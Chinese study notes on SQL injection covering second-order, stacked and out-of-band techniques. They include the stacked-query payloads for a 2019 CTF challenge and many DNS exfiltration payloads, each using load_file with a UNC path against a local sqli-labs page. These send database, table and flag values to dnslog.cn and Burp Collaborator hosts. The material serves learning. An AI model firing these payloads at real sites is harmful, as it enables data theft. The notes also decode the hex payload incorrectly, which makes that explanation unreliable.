知识点
SQL注入-二次注入&利用条件
SQL注入-堆叠注入&利用条件
SQL注入-带外注入&利用条件
这一部分比较难,先知道有这个知识点~~~
项目案例
二次注入
CMS-74CMS个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
堆叠注入
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
!!![强网杯 2019]随便注
buuctf
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句
最后一个地方将要查询的语句进行16进制编码,然后设置@a变量去存储。
prepare execsql from @a;execute execsql;
上述的SQL语句看起来像是针对某个数据库系统的操作。具体解释如下:
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460; 这部分语句是设置一个变量 @a 的值。该值是一个十六进制字符串。
prepare execsql from @a; 这部分语句使用前面设置的变量 @a 中的值作为动态SQL语句的内容进行准备操作。这意味着将要执行一个由变量 @a 中的十六进制字符串表示的SQL语句。
execute execsql; 这部分语句执行前面准备好的动态SQL语句,即执行变量 @a 中的十六进制字符串所表示的SQL语句。
请注意,具体的SQL语句和执行结果取决于你所使用的数据库系统以及十六进制字符串 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460 的内容。
0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460
将十六进制字符串解析为文本,得到的结果是:select flag from 0191981093111451454
带外注入
有部分注入点是没有回显的,所有读取也是没回显的,采用带外
注入条件
ROOT高权
secure-file-priv必须为空
支持load_file()
使用平台
http://www.dnslog.cn
burpSuite
http://ceye.io
应用场景
解决不回显,反向连接,SQL注入,命令执行,SSRF等
一些操作
dnslog
id=1 and load_file(concat("\\\\",sql语句,".dnslog地址\\Config")) #config这个地方可写可不写,也可以随意写。
id=1 and load_file(concat("\\\\",database(),".bzmtld.dnslog.cn\\Config")) #综合下来的
http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",database(),".bzmtld.dnslog.cn\\Config")) #最后执行,在页面看到了数据库
load_file(concat("\\\\",database(),".hmg2ej.dnslog.cn\\Config"))
注意:如果没有显示,检查一下payload。然后重新进入正常页面刷新一次,然后再写payload再次执行
因为回显问题,一次只能显示一个。所以这里使用limit来完成。
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),".bzmtld.dnslog.cn\\config"))
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 1,1 ),".bzmtld.dnslog.cn\\config"))
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 2,1 ),".bzmtld.dnslog.cn\\config"))
http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),".bzmtld.dnslog.cn\\config"))
#emails.bzmtld.dnslog.cn 183.203.37.66 2023-06-02 10:29:37
http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 1,1 ),".bzmtld.dnslog.cn\\config"))
#flag.bzmtld.dnslog.cn 183.203.37.214 2023-06-02 10:31:59
http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 2,1 ),".bzmtld.dnslog.cn\\config"))
#referers.bzmtld.dnslog.cn 183.203.37.46 2023-06-02 10:32:47
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='securitdy' and table_name='flag' limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))
http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='flag' limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))
id=1 and load_file(concat("\\\\",(select flag from flag limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))
http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select flag from flag limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))
burpSuite
也可以完成操作。
申请测试地址
然后复制出来会得到一个dns地址,如果忘记了,可以重新复制一个
md3dzr1hjqknsswb9gh0tfxltcz3nuhi6.oastify.com #dns测试地址
id=1 and load_file(concat("\\\\",sql语句,".burp地址\\Config")) #config这个地方可写可不写,也可以随意写。
id=1 and load_file(concat("\\\\",database(),".md3dzr1hjqknsswb9gh0tfxltcz3nuhi6.oastify.com\\Config")) #综合下来的
http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",database(),".md3dzr1hjqknsswb9gh0tfxltcz3nuhi6.oastify.com\\Config")) #最后执行,在页面看到了数据库
点击poll now可以刷新。会看到已经看到了数据库名称。
这里要思考一个问题
本身在支持外带注入的同时需要满足的前提条件.
这个条件本身有许多的限制。过了这些才能完成在某些情况下中无法回显进行操作。
当满足的时候,其实sqlmap的os-shell或sql-shell更实用一点…